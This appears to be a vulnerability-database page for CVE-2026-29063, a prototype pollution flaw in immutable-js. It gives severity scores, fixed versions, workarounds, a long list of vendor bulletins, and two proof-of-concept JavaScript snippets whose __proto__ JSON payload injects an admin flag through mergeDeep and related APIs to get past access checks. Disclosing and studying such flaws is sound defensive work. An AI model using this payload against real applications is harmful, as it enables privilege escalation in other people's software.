CVE-2026-29063

immutable-js · Vulnerability

CVSS 4.0 8.7 HIGHEUVD CVSS 4.0 8.7 CVSS 4.0 · [email protected] · Secondary 8.7 HIGHCVSS 3.1 · [email protected] · Primary 9.8 CRITICALCVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary 8.8 HIGHCVSS_V3 CVSS_V4 Publisher rating HIGHFixed by immutable 4.3.8 Fixed by immutable 5.1.5 Fixed by immutable 3.8.3KEV status unknown

Original advisory

cve-program · CVE-2026-29063

Published

Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.

Read the publisher's advisory

euvd · EUVD-2026-10057

Published

Read the publisher's advisory

nvd · CVE-2026-29063

Published

Read the publisher's advisory

osv · GHSA-wf6x-7x77-mvgw

Published

## Impact _What kind of vulnerability is it? Who is impacted?_ A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. ## Affected APIs | API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` | | `mergeDeepWith(merger, target, source)` | Same code path | | `merge(target, source)` | Shallow variant, same assignment logic | | `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard | | `Map.toObject()` | Same `toObject()` implementation | | `Map.mergeDeep(source)` | When source is converted to plain object | ## Patches _Has the problem been patched? What versions should users upgrade to?_ | major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 | ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ - [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input) - [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto) - [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects) - [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype) - [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype) ## Proof of Concept ### PoC 1 — mergeDeep privilege escalation ```javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4 // Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","__proto__":{"role":"admin","admin":true}}', ); const merged = mergeDeep(userProfile, requestBody); console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__! // Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins) // Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true ``` ### PoC 2 — All affected APIs ```javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable"); const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}'); // 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true // 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true // 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true // 4. Map.toJS() with __proto__ key const m = Map({ user: "alice" }).set("__proto__", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true // 5. Map.toObject() with __proto__ key const m2 = Map({ user: "alice" }).set("__proto__", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true // 6. Nested path const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true // 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe) ``` **Verified output against [email protected]:** ``` mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted ``` ## References _Are there any links users can visit to find out more?_ - [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2026-29063

Published

immutable-js

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "immutable-js",
                    "product": "immutable-js",
                    "versions": [
                        {
                            "version": "< 3.8.3",
                            "status": "affected"
                        },
                        {
                            "version": "< 4.3.7",
                            "status": "affected"
                        },
                        {
                            "version": "< 5.1.5",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-10057

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Mar 6, 2026, 6:25:22 PM

dateUpdated: Sep 10, 2026, 12:05:01 PM

70 related source bulletins · separate from aliases

RHSA-2026:26232: Red Hat Security Advisory: General availability of the satellite/iop-host-inventory-frontend-rhel9 container image

CVE-2026-29063 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044

RHSA-2026:34049: Red Hat Security Advisory: OpenShift Container Platform 4.12.93 bug fix and security update

CVE-2026-29063 · CVE-2026-33186

RHSA-2026:21931: Red Hat Security Advisory: Red Hat OpenShift Pipelines Release 1.20.5

CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-29063 · CVE-2026-33186 · CVE-2026-33211 · CVE-2026-34986

RHSA-2026:12118: Red Hat Security Advisory: OpenShift Container Platform 4.18.39 bug fix and security update

CVE-2025-61731 · CVE-2026-29063 · CVE-2026-33186 · CVE-2026-35469

RHSA-2026:41928: Red Hat Security Advisory: Red Hat Migration Toolkit for Containers

CVE-2025-7783 · CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-52881 · CVE-2025-58183 · CVE-2025-58754 · CVE-2025-61726 · CVE-2025-61729 · CVE-2025-62718 · CVE-2025-66031 · CVE-2025-66418 · CVE-2025-66471 · CVE-2025-66506 · CVE-2025-68121 · CVE-2025-69223 · CVE-2025-69227 · CVE-2025-69228 · CVE-2026-4800 · CVE-2026-6322 · CVE-2026-9277 · CVE-2026-9595 · CVE-2026-12143 · CVE-2026-13149 · CVE-2026-13676 · CVE-2026-21441 · CVE-2026-22029 · CVE-2026-23490 · CVE-2026-23745 · CVE-2026-25679 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-27137 · CVE-2026-29063 · CVE-2026-30922 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32283 · CVE-2026-33186 · CVE-2026-33810 · CVE-2026-33811 · CVE-2026-34986 · CVE-2026-39820 · CVE-2026-39821 · CVE-2026-40895 · CVE-2026-42264 · CVE-2026-42338 · CVE-2026-42499 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-45736 · CVE-2026-45822 · CVE-2026-48779

RHSA-2026:26225: Red Hat Security Advisory: Technical preview of the satellite/iop-vulnerability-frontend-rhel9 container image

CVE-2026-6322 · CVE-2026-9277 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-29063 · CVE-2026-41680 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044

RHSA-2026:21703: Red Hat Security Advisory: OpenShift Container Platform 4.20.24 bug fix and security update

CVE-2026-26996 · CVE-2026-29063 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-41674

RHSA-2026:9742: Red Hat Security Advisory: Red Hat Developer Hub 1.8.6 release.

CVE-2025-62718 · CVE-2025-69534 · CVE-2025-69873 · CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-3118 · CVE-2026-4800 · CVE-2026-4926 · CVE-2026-25679 · CVE-2026-26996 · CVE-2026-27601 · CVE-2026-27904 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-29186 · CVE-2026-32141 · CVE-2026-33036 · CVE-2026-33228 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39983 · CVE-2026-40175

RHSA-2026:24473: Red Hat Security Advisory: Network Observability 1.12.0 for OpenShift

CVE-2026-6321 · CVE-2026-29063 · CVE-2026-32281 · CVE-2026-42039 · CVE-2026-42044

RHSA-2026:40022: Red Hat Security Advisory: OpenShift Container Platform 4.13.69 bug fix and security update

CVE-2026-29063 · CVE-2026-33186 · CVE-2026-35469 · CVE-2026-46579

RHSA-2026:41944: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.19.20 security, enhancement & bug fix update

CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-25128 · CVE-2026-25896 · CVE-2026-26278 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-27942 · CVE-2026-29063 · CVE-2026-33036 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-48779

RHSA-2026:17598: Red Hat Security Advisory: OpenShift Container Platform 4.17.54 bug fix and security update

CVE-2025-61726 · CVE-2025-61728 · CVE-2025-61731 · CVE-2025-61732 · CVE-2025-65637 · CVE-2025-68121 · CVE-2026-4800 · CVE-2026-25679 · CVE-2026-29063 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-35469

RHSA-2026:6428: Red Hat Security Advisory: Network Observability 1.11.1 for OpenShift

CVE-2025-61726 · CVE-2025-61728 · CVE-2025-61729 · CVE-2025-68121 · CVE-2026-25639 · CVE-2026-26960 · CVE-2026-29063 · CVE-2026-33186

RHSA-2026:20041: Red Hat Security Advisory: OpenShift Container Platform 4.19.32 bug fix and security update

CVE-2025-12816 · CVE-2025-61726 · CVE-2025-66031 · CVE-2026-4800 · CVE-2026-22029 · CVE-2026-25679 · CVE-2026-27143 · CVE-2026-27144 · CVE-2026-29063 · CVE-2026-33186 · CVE-2026-34043 · CVE-2026-34986 · CVE-2026-35469 · CVE-2026-40175

RHSA-2026:8218: Red Hat Security Advisory: multicluster engine for Kubernetes v2.8.5 security update

CVE-2025-13465 · CVE-2025-47907 · CVE-2025-58183 · CVE-2025-61726 · CVE-2025-61729 · CVE-2025-68121 · CVE-2026-4740 · CVE-2026-22029 · CVE-2026-25639 · CVE-2026-29063

RHSA-2026:40118: Red Hat Security Advisory: Red Hat Edge Manager Version 1.1.3 Security Update

CVE-2025-13465 · CVE-2025-61729 · CVE-2025-68121 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-4926 · CVE-2026-6322 · CVE-2026-13676 · CVE-2026-22029 · CVE-2026-25679 · CVE-2026-29063 · CVE-2026-32141 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32282 · CVE-2026-33186 · CVE-2026-33810 · CVE-2026-33811 · CVE-2026-33816 · CVE-2026-39821 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39832 · CVE-2026-39835 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42508 · CVE-2026-46595

RHSA-2026:13847: Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.16.1 security update

CVE-2026-29063

RHSA-2026:36621: Red Hat Security Advisory: OpenShift Container Platform 4.16.66 bug fix and security update

CVE-2026-4800 · CVE-2026-9697 · CVE-2026-12151 · CVE-2026-26996 · CVE-2026-29063 · CVE-2026-33186 · CVE-2026-35469

RHSA-2026:36651: Red Hat Security Advisory: Red Hat Edge Manager Version 1.0.3 Security Update

CVE-2025-13465 · CVE-2025-61729 · CVE-2025-68121 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-4926 · CVE-2026-6322 · CVE-2026-22029 · CVE-2026-25679 · CVE-2026-29063 · CVE-2026-32141 · CVE-2026-32280 · CVE-2026-33186 · CVE-2026-33810 · CVE-2026-33811 · CVE-2026-39821 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39832 · CVE-2026-39835 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42508 · CVE-2026-46595

RHSA-2026:19410: Red Hat Security Advisory: MTV RHEL9 Images

CVE-2026-4598 · CVE-2026-4599 · CVE-2026-4600 · CVE-2026-4601 · CVE-2026-4602 · CVE-2026-4800 · CVE-2026-4926 · CVE-2026-29063

RHSA-2026:11916: Red Hat Security Advisory: Red Hat Quay 3.10.21

CVE-2026-4427 · CVE-2026-25679 · CVE-2026-27459 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-32286 · CVE-2026-33186 · CVE-2026-34986

RHSA-2026:29864: Red Hat Security Advisory: OpenShift Container Platform 4.19.36 bug fix and security update

CVE-2026-29063 · CVE-2026-44487 · CVE-2026-44494

RHSA-2026:6926: Red Hat Security Advisory: Red Hat Quay 3.9.20

CVE-2026-4599 · CVE-2026-4600 · CVE-2026-4601 · CVE-2026-4602 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-30922 · CVE-2026-32597

RHSA-2026:11414: Red Hat Security Advisory: multicluster engine for Kubernetes v2.9.3 security update

CVE-2025-13465 · CVE-2025-61726 · CVE-2025-68121 · CVE-2026-4740 · CVE-2026-25639 · CVE-2026-29063 · CVE-2026-40175

RHSA-2026:28964: Red Hat Security Advisory: OpenShift Container Platform 4.15.66 bug fix and security update

CVE-2025-68121 · CVE-2026-1784 · CVE-2026-27143 · CVE-2026-27144 · CVE-2026-29063 · CVE-2026-33186 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496

RHSA-2026:20088: Red Hat Security Advisory: OpenShift Container Platform 4.16.63 bug fix and security update

CVE-2025-13465 · CVE-2025-61731 · CVE-2026-25679 · CVE-2026-29063 · CVE-2026-33186

RHSA-2026:8491: Red Hat Security Advisory: Kiali 2.17.6 for Red Hat OpenShift Service Mesh 3.2

CVE-2025-62718 · CVE-2026-4800 · CVE-2026-25679 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-40175

RHSA-2026:19375: Red Hat Security Advisory: Red Hat Quay 3.16.4

CVE-2025-61726 · CVE-2025-62718 · CVE-2026-2377 · CVE-2026-4427 · CVE-2026-4598 · CVE-2026-4599 · CVE-2026-4600 · CVE-2026-4601 · CVE-2026-4602 · CVE-2026-25679 · CVE-2026-27137 · CVE-2026-27459 · CVE-2026-27962 · CVE-2026-28802 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-30922 · CVE-2026-32280 · CVE-2026-32282 · CVE-2026-32286 · CVE-2026-32589 · CVE-2026-32590 · CVE-2026-32597 · CVE-2026-33186 · CVE-2026-33894 · CVE-2026-34986 · CVE-2026-39892 · CVE-2026-40192 · CVE-2026-40895 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044

RHSA-2026:40945: Red Hat Security Advisory: Red Hat Edge Manager Version 1.1.3 Security Update

RHSA-2026:34342: Red Hat Security Advisory: Cluster Observability Operator 1.5.0

CVE-2020-7753 · CVE-2021-33623 · CVE-2024-4068 · CVE-2024-45338 · CVE-2024-52011 · CVE-2025-22868 · CVE-2025-22870 · CVE-2025-22872 · CVE-2025-47911 · CVE-2025-58190 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-4800 · CVE-2026-4867 · CVE-2026-6321 · CVE-2026-6322 · CVE-2026-6734 · CVE-2026-9277 · CVE-2026-9697 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-25680 · CVE-2026-25681 · CVE-2026-29063 · CVE-2026-32141 · CVE-2026-33228 · CVE-2026-33671 · CVE-2026-33814 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-33937 · CVE-2026-33938 · CVE-2026-33939 · CVE-2026-33940 · CVE-2026-33941 · CVE-2026-39821 · CVE-2026-42506 · CVE-2026-48779

RHSA-2026:11858: Red Hat Security Advisory: multicluster engine for Kubernetes v2.7.10 security update

CVE-2026-29063

RHSA-2026:13826: Red Hat Security Advisory: Red Hat Developer Hub 1.9.4 release.

CVE-2025-62718 · CVE-2025-69534 · CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-3118 · CVE-2026-4800 · CVE-2026-4926 · CVE-2026-27601 · CVE-2026-27904 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-29186 · CVE-2026-32141 · CVE-2026-32280 · CVE-2026-32282 · CVE-2026-33228 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39983 · CVE-2026-40175 · CVE-2026-40895

RHSA-2026:34099: Red Hat Security Advisory: OpenShift Container Platform 4.17.55 bug fix and security update

CVE-2026-27140 · CVE-2026-27143 · CVE-2026-27144 · CVE-2026-29063 · CVE-2026-33186 · CVE-2026-34043 · CVE-2026-34986 · CVE-2026-35469

RHSA-2026:36882: Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.14.3 security update

CVE-2025-13465 · CVE-2025-47907 · CVE-2025-48431 · CVE-2025-61726 · CVE-2025-61728 · CVE-2025-61729 · CVE-2025-62718 · CVE-2026-22029 · CVE-2026-22610 · CVE-2026-25639 · CVE-2026-25681 · CVE-2026-29063 · CVE-2026-32285 · CVE-2026-33186 · CVE-2026-33487 · CVE-2026-40175 · CVE-2026-40293 · CVE-2026-40895 · CVE-2026-41602 · CVE-2026-41603 · CVE-2026-41604 · CVE-2026-41605 · CVE-2026-41606 · CVE-2026-41607 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044 · CVE-2026-43869 · CVE-2026-43870 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-44990

WID-SEC-W-2026-3046: IBM Concert: Mehrere Schwachstellen

CVE-2019-19921 · CVE-2021-23337 · CVE-2024-3651 · CVE-2024-39338 · CVE-2024-45590 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-15599 · CVE-2025-22874 · CVE-2025-47273 · CVE-2025-47907 · CVE-2025-52881 · CVE-2025-53643 · CVE-2025-55184 · CVE-2025-58056 · CVE-2025-58188 · CVE-2025-58189 · CVE-2025-61723 · CVE-2025-61730 · CVE-2025-64649 · CVE-2025-64756 · CVE-2025-67221 · CVE-2025-68121 · CVE-2025-68146 · CVE-2026-0540 · CVE-2026-2327 · CVE-2026-23490 · CVE-2026-23897 · CVE-2026-2391 · CVE-2026-23949 · CVE-2026-24486 · CVE-2026-25528 · CVE-2026-25547 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-26007 · CVE-2026-26019 · CVE-2026-26996 · CVE-2026-27142 · CVE-2026-27212 · CVE-2026-27699 · CVE-2026-27903 · CVE-2026-27904 · CVE-2026-28684 · CVE-2026-29063 · CVE-2026-29181 · CVE-2026-2950 · CVE-2026-31808 · CVE-2026-31900 · CVE-2026-32274 · CVE-2026-32288 · CVE-2026-32597 · CVE-2026-32630 · CVE-2026-32887 · CVE-2026-32952 · CVE-2026-33186 · CVE-2026-33532 · CVE-2026-33750 · CVE-2026-33814 · CVE-2026-33816 · CVE-2026-33916 · CVE-2026-34043 · CVE-2026-34073 · CVE-2026-34077 · CVE-2026-3520 · CVE-2026-35469 · CVE-2026-35515 · CVE-2026-3627 · CVE-2026-39823 · CVE-2026-39825 · CVE-2026-39826 · CVE-2026-39892 · CVE-2026-39984 · CVE-2026-40175 · CVE-2026-40179 · CVE-2026-40181 · CVE-2026-40190 · CVE-2026-40347 · CVE-2026-41066 · CVE-2026-41182 · CVE-2026-41238 · CVE-2026-41239 · CVE-2026-41240 · CVE-2026-41305 · CVE-2026-41324 · CVE-2026-41425 · CVE-2026-41481 · CVE-2026-41488 · CVE-2026-41602 · CVE-2026-41636 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42198 · CVE-2026-42211 · CVE-2026-42338 · CVE-2026-42342 · CVE-2026-42561 · CVE-2026-42577 · CVE-2026-43870 · CVE-2026-44405 · CVE-2026-44431 · CVE-2026-44432 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44496 · CVE-2026-44728 · CVE-2026-4539 · CVE-2026-45409 · CVE-2026-45736 · CVE-2026-46625 · CVE-2026-4800 · CVE-2026-4923 · CVE-2026-4926 · CVE-2026-7246 · CVE-2026-8723

RHSA-2026:7329: Red Hat Security Advisory: A Subscription Management tool for finding and reporting Red Hat product usage

CVE-2021-23337 · CVE-2025-9820 · CVE-2025-14831 · CVE-2025-15366 · CVE-2025-15367 · CVE-2026-1299 · CVE-2026-4111 · CVE-2026-4519 · CVE-2026-29063

WID-SEC-W-2026-1367: Red Hat Advanced Cluster Management und Multicluster engine for Kubernetes: Schwachstelle ermöglicht Codeausführung oder DoS

CVE-2026-29063

RHSA-2026:11070: Red Hat Security Advisory: RHACS 4.8.11 security and bug fix update

CVE-2026-29063 · CVE-2026-32286 · CVE-2026-33186 · CVE-2026-33815 · CVE-2026-33816 · CVE-2026-34986 · CVE-2026-35469

RHSA-2026:8493: Red Hat Security Advisory: Kiali 2.22.2 for Red Hat OpenShift Service Mesh 3.3

CVE-2025-62718 · CVE-2026-4800 · CVE-2026-25679 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-40175

RHSA-2026:13829: Red Hat Security Advisory: RHACS 4.10.2 security and bug fix update

CVE-2025-13465 · CVE-2026-25679 · CVE-2026-29063 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32282 · CVE-2026-33186 · CVE-2026-33815 · CVE-2026-33816 · CVE-2026-34986 · CVE-2026-35469

RHSA-2026:23246: Red Hat Security Advisory: OpenShift Container Platform 4.19.33 bug fix and security update

CVE-2026-1784 · CVE-2026-26996 · CVE-2026-27140 · CVE-2026-29063 · CVE-2026-33186

RHSA-2026:48085: Red Hat Security Advisory: Red Hat Quay 3.18.0

CVE-2026-4427 · CVE-2026-27459 · CVE-2026-27962 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-32590 · CVE-2026-32591 · CVE-2026-34986 · CVE-2026-42039 · CVE-2026-48526 · CVE-2026-73086

RHSA-2026:6720: Red Hat Security Advisory: Red Hat Quay 3.12.16

CVE-2026-4598 · CVE-2026-4599 · CVE-2026-4600 · CVE-2026-4601 · CVE-2026-4602 · CVE-2026-25679 · CVE-2026-28498 · CVE-2026-29063 · CVE-2026-30922 · CVE-2026-32597

RHSA-2026:20034: Red Hat Security Advisory: OpenShift Container Platform 4.21.17 bug fix and security update

CVE-2025-58183 · CVE-2026-29063 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-35469 · CVE-2026-41674

RHSA-2026:8490: Red Hat Security Advisory: Kiali 2.11.9 for Red Hat OpenShift Service Mesh 3.1

CVE-2025-62718 · CVE-2026-4800 · CVE-2026-25679 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-40175

RHSA-2026:27063: Red Hat Security Advisory: OpenShift Container Platform 4.20.26 bug fix and security update

CVE-2026-29063 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-35469 · CVE-2026-40895 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-46579

RHSA-2026:21657: Red Hat Security Advisory: OpenShift Container Platform 4.18.43 bug fix and security update

CVE-2025-61726 · CVE-2026-25679 · CVE-2026-27143 · CVE-2026-27144 · CVE-2026-29063 · CVE-2026-33186

WID-SEC-W-2026-0845: IBM WebSphere Application Server Liberty: Mehrere Schwachstellen

CVE-2025-14915 · CVE-2025-14917 · CVE-2026-1561 · CVE-2026-29063

RHSA-2026:13548: Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.15.2 security update

CVE-2025-13465 · CVE-2025-58183 · CVE-2025-61726 · CVE-2026-4645 · CVE-2026-22029 · CVE-2026-25639 · CVE-2026-29063 · CVE-2026-32285 · CVE-2026-33186 · CVE-2026-33487 · CVE-2026-40175

RHSA-2026:17469: Red Hat Security Advisory: OpenShift Container Platform 4.20.23 security and extras update

CVE-2025-13465 · CVE-2025-15284 · CVE-2026-4800 · CVE-2026-22029 · CVE-2026-29063 · CVE-2026-35469

RHSA-2026:8483: Red Hat Security Advisory: Kiali 1.73.29 for Red Hat OpenShift Service Mesh 2.6

CVE-2025-61726 · CVE-2025-62718 · CVE-2025-68121 · CVE-2026-4800 · CVE-2026-25679 · CVE-2026-27606 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-33186 · CVE-2026-40175

RHSA-2026:41941: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.18.25 security, enhancement & bug fix update

CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-47907 · CVE-2025-58183 · CVE-2025-61726 · CVE-2025-61729 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-25896 · CVE-2026-26278 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-27942 · CVE-2026-29063 · CVE-2026-33036 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-48779

RHSA-2026:20042: Red Hat Security Advisory: OpenShift Container Platform 4.19.32 security and extras update

CVE-2025-13465 · CVE-2025-15284 · CVE-2025-58183 · CVE-2026-4800 · CVE-2026-22029 · CVE-2026-29063 · CVE-2026-33186 · CVE-2026-35469

RHSA-2026:28893: Red Hat Security Advisory: OpenShift Container Platform 4.14.68 bug fix and security update

CVE-2025-68121 · CVE-2026-1784 · CVE-2026-25679 · CVE-2026-27143 · CVE-2026-27144 · CVE-2026-29063 · CVE-2026-33186 · CVE-2026-35172

RHSA-2026:21658: Red Hat Security Advisory: OpenShift Container Platform 4.18.43 security and extras update

CVE-2025-13465 · CVE-2025-15284 · CVE-2025-58183 · CVE-2026-4800 · CVE-2026-22029 · CVE-2026-29063 · CVE-2026-33186 · CVE-2026-35469

RHSA-2026:9848: Red Hat Security Advisory: multicluster engine for Kubernetes v2.6.10 security update

CVE-2025-13465 · CVE-2025-61726 · CVE-2025-61729 · CVE-2025-68121 · CVE-2026-4740 · CVE-2026-22029 · CVE-2026-25639 · CVE-2026-29063

RHSA-2026:34100: Red Hat Security Advisory: OpenShift Container Platform 4.17.55 security and extras update

CVE-2025-13465 · CVE-2025-15284 · CVE-2026-4800 · CVE-2026-22029 · CVE-2026-29063 · CVE-2026-33186 · CVE-2026-35469

RHSA-2026:24977: Red Hat Security Advisory: RHOAI 2.25.7 - Red Hat OpenShift AI

CVE-2025-14813 · CVE-2025-48956 · CVE-2025-61726 · CVE-2025-62718 · CVE-2025-69227 · CVE-2025-69228 · CVE-2026-1462 · CVE-2026-4800 · CVE-2026-6321 · CVE-2026-23490 · CVE-2026-24747 · CVE-2026-25048 · CVE-2026-25960 · CVE-2026-27489 · CVE-2026-27893 · CVE-2026-28500 · CVE-2026-28684 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-31958 · CVE-2026-32280 · CVE-2026-32597 · CVE-2026-32981 · CVE-2026-33186 · CVE-2026-33231 · CVE-2026-34986 · CVE-2026-34993 · CVE-2026-39892 · CVE-2026-40192 · CVE-2026-40895 · CVE-2026-41240 · CVE-2026-41242 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043

RHSA-2026:29857: Red Hat Security Advisory: OpenShift Container Platform 4.18.46 bug fix and security update

CVE-2026-29063 · CVE-2026-35469

RHSA-2026:6568: Red Hat Security Advisory: Red Hat Quay 3.15.4

CVE-2024-34156 · CVE-2024-45337 · CVE-2024-45338 · CVE-2025-61726 · CVE-2025-61728 · CVE-2025-61729 · CVE-2025-68121 · CVE-2025-68158 · CVE-2025-69873 · CVE-2026-4598 · CVE-2026-4599 · CVE-2026-4600 · CVE-2026-4601 · CVE-2026-4602 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-26007 · CVE-2026-26996 · CVE-2026-27628 · CVE-2026-27904 · CVE-2026-28498 · CVE-2026-28802 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-30922 · CVE-2026-32597

RHSA-2026:13791: Red Hat Security Advisory: RHACS 4.9.6 security and bug fix update

